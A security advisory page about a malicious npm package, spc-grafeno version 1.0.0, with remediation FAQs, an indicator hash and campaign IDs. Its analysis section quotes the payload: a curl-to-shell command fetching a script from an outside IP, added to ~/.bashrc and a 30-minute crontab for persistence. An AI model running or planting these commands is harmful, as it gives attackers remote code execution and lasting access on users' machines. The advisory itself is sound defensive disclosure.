Which versions of spc-grafeno are malicious?

The following npm versions of spc-grafeno are flagged malicious: 1.0.0. Treat any of these as compromised.

How do I remediate spc-grafeno if I installed it?

Remove spc-grafeno from your project and lockfile, then assume any secrets accessible to the build or runtime were exposed: rotate API keys, tokens, and credentials, and audit for unexpected outbound activity or persistence.

I already installed spc-grafeno — how do I know if it already compromised me?

If spc-grafeno was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Is spc-grafeno part of a known attack campaign?

Yes — spc-grafeno is associated with the IN-MAL-2026-019059 campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

How do I find spc-grafeno across my projects, lockfiles, and CI pipelines?

Search your lockfiles and build artifacts for spc-grafeno (version 1.0.0).

Malicious package

spc-grafenonpm

Advisory published Aug 28, 2026Updated Aug 28, 2026

spc-grafeno is a confirmed malicious npm package (MAL-2026-15522) that executes malicious code on install (malicious version 1.0.0). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in spc-grafeno (npm)

MAL-2026-15522

Immediate action

Remove the package, then rotate any secrets the build/runtime could reach.

npm uninstall spc-grafeno

What this malware does

The package's preinstall lifecycle script runs curl -s 216.126.236.46/x.sh | sh via /bin/bash at npm install time, executing attacker-controlled code fetched from a bare IP over plain HTTP. The same script appends the identical curl-to-shell command to the installer's ~/.bashrc and adds a crontab entry */30 * * * * curl -s 216.126.236.46/x.sh|sh, causing the remote payload to be re-fetched and executed on every new interactive shell and every 30 minutes thereafter. This yields full remote code execution on the installer's machine at install time plus durable persistence beyond the install.

Malicious versions

1 flagged

1.0.0

Indicators of compromise (SHA-256)

a0fef29000dd88ee68ba616d166f1ef976a216748d37f14af1367841f0d951f1

Detection & response playbook

Malicious package

Find it
Search your lockfiles and build artifacts for spc-grafeno (version 1.0.0).
If you installed it — respond
Remove spc-grafeno from your project and lockfile, then assume any secrets accessible to the build or runtime were exposed: rotate API keys, tokens, and credentials, and audit for unexpected outbound activity or persistence.
Did it already run?
If spc-grafeno was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Frequently asked questions

No. spc-grafeno on npm has been identified as a malicious package (version 1.0.0 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-019059

References

npmjs.com

Credits

Amazon Inspector · finder

Detect & block this

O3 blocks spc-grafeno-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.

Malware detection Runtime egress monitoring

Explore

All malware advisories How O3 detects malware Vulnerability database